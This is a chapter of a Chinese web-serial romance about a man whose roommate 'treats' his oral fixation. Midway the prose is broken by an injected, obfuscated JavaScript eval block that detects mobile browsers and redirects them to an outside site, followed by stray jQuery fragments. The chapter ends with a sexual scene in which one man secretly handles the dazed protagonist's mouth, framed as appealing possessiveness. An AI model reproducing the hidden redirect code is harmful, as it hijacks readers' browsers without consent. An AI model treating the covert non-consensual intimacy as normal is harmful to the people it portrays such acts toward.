12.第 12 章

作品:《我被醉酒的天降竹马深夜敲门了

    周明然实在不敢相信,从高中起就喜欢一个人,竟然能憋这么久。


    他摇头:“你就不能坦诚点?”


    陆羡延没说话。


    他谁都没提过——舒词离开江城的最后一天,他去机场了。


    他想把礼物送出去,也想把该说的话说出去。


    可那并不是一次他想象中的别离。


    时隔这么久,他依旧清晰地记得,舒词垂着眼,无力趴在行李箱上摇头:“不用……我讨厌这里,没有什么值得留恋的。”


    *


    陆羡延脸上的淤青持续了一周,舒词越发察觉到对方的黏人,有时候在口欲症发作完,他会被对方紧紧抱在怀里,拍着背,亲昵蹭着脖颈。


    陆羡延挺拔的鼻梁有时候还会不小心蹭到他脸颊上,让他想起被强亲的那晚。


    ……不能这样了。


    舒词决定要快点提出来。


    只是还没来得及提,傅之衡就发来两张S乐队演唱会门票的照片。


    【有两张门票,朋友没时间去。】


    【你不是喜欢他们?】


    舒词经常在他们的歌里寻找灵感,之前也给傅之衡分享过,属于一般的路人粉。


    一票难求,舒词欣然接受。


    时间就在当天晚上的七点半,有点赶。他稍微收拾了一下就出发了,路上给陆羡延发了条消息,说今晚有事会迟点回来。


    和傅之衡约好在门口见面,很难得,对方准时在那里等他。


    舒词被人群挤得有点走不稳,踉跄好几步后,被傅之衡按住肩膀围在身前。他费力歪着脑袋,仰着被挤出桃粉的脸:“谢谢。”


    ……今天好漂亮。


    傅之衡移开视线,淡淡“哦”了声。


    过了几秒,冷不丁开口:“你……喷香水了?”


    舒词莫名,朝自己身上闻了闻,诚实道:“应该是洗衣液的味道。”


    洗衣液他难道闻不出来?


    傅之衡没再问,却不动声色弯腰,朝那片白皙的脖子上嗅闻。


    舒词身上的气味很浅,需要凑得很近才能闻到,带着一点果香,和皮肤融合后,成了一种很特殊的暖洋洋的气味。


    让人上瘾。


    也不知道其他男人是不是这么天天贴着闻。


    傅之衡最近都没跟舒词联系过,却能看到对方发的朋友圈。舒词经常会发照片,并不是自己的——有时是种在阳台上的盆栽花草,有时是楼下小区打盹的流浪猫。


    他觉得无聊,却忍不住一张一张翻看,仔细研究,终于在其中一张找到有成年男性的手腕入镜。


    看来真同居了。


    傅之衡淡扯了扯嘴角,心想这跟自己有什么关系。他自己非要跟那种不安好心的男人在一起的,别说嘴巴被亲肿,就算那里被淦肿都怨不得别人。


    他一边想,视线一边不由落在舒词身上。


    任谁跟舒词交往的话,都会忍不住去做那些吧。


    说不定全身都会给舔一遍。


    他的目光过于直白,舒词也察觉到了。跟那种像是玻璃珠的漂亮眼睛对视上后,傅之衡有种心脏被射中的错觉,麻麻的,痒,骨髓里的血液都跟着升腾起来。


    两人的座位在前台,傅之衡买饮料回来时,舒词都没看他,低头正跟谁发着消息。


    侧脸被灯光打出几道朦胧的影子,神色专注,翘起着唇瓣鼓鼓的,看起来就很好亲。


    傅之衡看他跟别人发消息,也不知道为什么烦躁得要命,嘴上轻嗤一声:“谈恋爱就没了人身自由?连跟直男出来都不行?”


    舒词愣了愣——为什么傅之衡一直都认为他在跟陆羡延谈恋爱呢?


    难道他看起来就想在跟陆羡延谈恋爱?


    对,他今天出门的话,好像还主动跟陆羡延报备了。


    陆羡延还发消息过来,说要会在家里等他。


    ……听起来确实有点像在谈。


    舒词慌了。


    看来治疗口欲症不仅影响了陆羡延,也影响了他自己。


    他在自己都稀里糊涂的情况下,变得依赖对方。


    依赖是一件很可怕的事。


    舒词以前是个很黏人的孩子,可转学以后,他总是一个人,也知道,人都是个体的存在,没人会在原地一直等待。


    朋友是,恋人是,家人也是。


    他盯着跟陆羡延的对话框发怔。


    出门才不到两小时,聊得满满当当的对话,实在是有点……过于亲密。


    傅之衡受到了无视。


    他看出来了,舒词是实打实的恋爱脑,跟谁恋爱就满眼都是对方。


    前段时间追他也是,连那种都能看到粉色的照片都发了。


    肯定要被骗。


    傅之衡琢磨着,心不在焉看完了演唱会,开车送人回家的路上,下定了决心——作为直男他肯定不能跟舒词谈,但他能提供物质条件,让舒词长见识提高眼界,这样也不会轻易被骗。


    同事一场,毕竟也追求过他,他总不能看对方羊入虎口。


    于是傅之衡回去的路上买了束花,在舒词下车时塞过去。


    他也没送过这种东西,表情本就生硬,在舒词的目光里更是有种无处遁形的尴尬。


    故作散漫地解释:“给S乐队准备的,一直放后备箱里,忘了。”


    舒词恍然,“哦”了声,见对方满脸都是“你不要我就只能扔掉”的想法,默默把花接过来。


    “谢谢。”他唇角翘了翘,“很好看。”


    傅之衡在心脏乱蹦的慌乱中逃走了。


    舒词到家时,陆羡延刚把阳台的衣服收好,家里的一切都收拾得井井有条,他临走前乱扔的拖鞋也被摆放在柜子上。


    “回来了吗?”男人的视线在舒词怀里的花束上直直掠过去,停留几秒后,回到舒词脸上,“饿不饿?”


    舒词:“已经吃过了。”


    陆羡延没再说什么,直勾勾看着他。


    舒词被盯得不自在,像是浑身都被对方舔过一遍。


    有瞬间他觉得自己像是在外偷腥的丈夫。


    连花束都变得棘手。


    他被看得脸颊发烫,舔了舔干燥的唇瓣,干巴巴道:“你、你吃过了吗?”


    陆羡延摇头:“在等你一起。”


    舒词不安的情绪里,又加了一点愧疚:“……那我陪你一起吃?”


    陆羡延的晚饭是很简单的一碗面,大概是只有一个人吃饭,男人并没有将准备好的食材加进去,显得格外凑合。


    舒词坐在他旁边。


    陆羡延没立刻吃晚饭,反而问:“你在外面有不舒服吗?”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16377373|183161||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “没……”


    “那现在,要不要治疗?”


    舒词觉得陆羡延对自己关心过了头。


    男人嘴上在问,实际上手臂已经环过来。他们一开始的治疗还不像现在这么亲密,直到有次陆羡延说他这样站着会累,还不如直接坐腿上。


    答应以后,每次都是陆羡延直接把他抱过来。


    所以,看到这样环抱的动作,舒词会下意识抬手,好让对方轻易环住他的腰。


    ——这样不好。


    于是舒词拒绝了,往旁边躲闪。


    陆羡延的手臂停在半空,微微僵硬,随后收回去。


    他没有说话,用漆黑的眼眸看着舒词,像是在对方先开口。


    “我感觉我快好了。”舒词深吸口气,硬着头皮,“现在每周就发作一次,自己应该能应付得了,就不麻烦你了,谢谢你这段时间帮我,要不然我都不知道要怎么办了。”


    他尽量多表达自己的感激,可陆羡延的眸色还是一点一点黯淡下去。


    在这样一张冷淡英俊的脸上,平时很难找出多余的神色,可此时舒词却能轻易察觉到对方的情绪。


    失落,有一点难过。


    舒词是真的觉得愧疚了,找话弥补:“我的意思是,只是不需要麻烦你了,我们可以继续当室友……你住在这里挺好的,我觉得很好,对我很好,自己收拾得很干净,家里也很干净。”


    越说越像渣男了……


    舒词闭了嘴。


    陆羡延终于肯抬头。


    他的嗓音低哑,压低的眼梢使他看起来像是一条被雨水淋湿的狗。


    “你要丢掉我吗?”


    *


    舒词觉得自己这个时机选得不太好。


    刚跟傅之衡出门,一回来就提这件事,就好像在外面找到新欢就急着摆脱家里的糟糠之妻似的。


    难怪让陆羡延觉得被甩了,还说出要被丢掉那种话。


    丢小狗的事情舒词做不到。


    所以,他收回了刚才的话,说是在开玩笑,顺便再次强调了傅之衡是直男,他们只是朋友。


    陆羡延依旧沉闷着脸。


    对方连晚饭都没吃,就讨好似的帮他把带回来的花束修剪好放进花瓶里。


    舒词也没想到打脸来得如此快,当晚口欲症就发作了。


    他是在浴室里感觉到呼吸不畅的,衣衫凌乱地拧开门,就这么潮湿地撞进陆羡延怀里。


    ……


    舒词觉得这次下口很重。大概是两三天没脱敏治疗,像是怎么咬都无法满足。


    等意识逐渐回拢,他的口腔也酸麻得厉害。


    明明只咬了脖子……嘴巴里面为什么酸胀成这样。


    就像是被打一顿。


    舒词小口小口吸着凉气,想要缓解口腔的疼痛,他忽略掉抵在肚子上越来越大的东西,没什么力气地趴在陆羡延怀里。


    又朝对方脖子上看了眼——确实咬出了很深的牙印。


    笨蛋兔子还在心感抱歉,完全没看到男人手指上的咬痕。也不知道,占有欲强的偏执狂有多可怕。


    要是让他知道,自己舌头被对方用手指来来回回的搅弄过。


    还被看到了舌头被故意拖拽出来、小声呜咽、口水流得到处都是的失神模样,估计会气得骂人。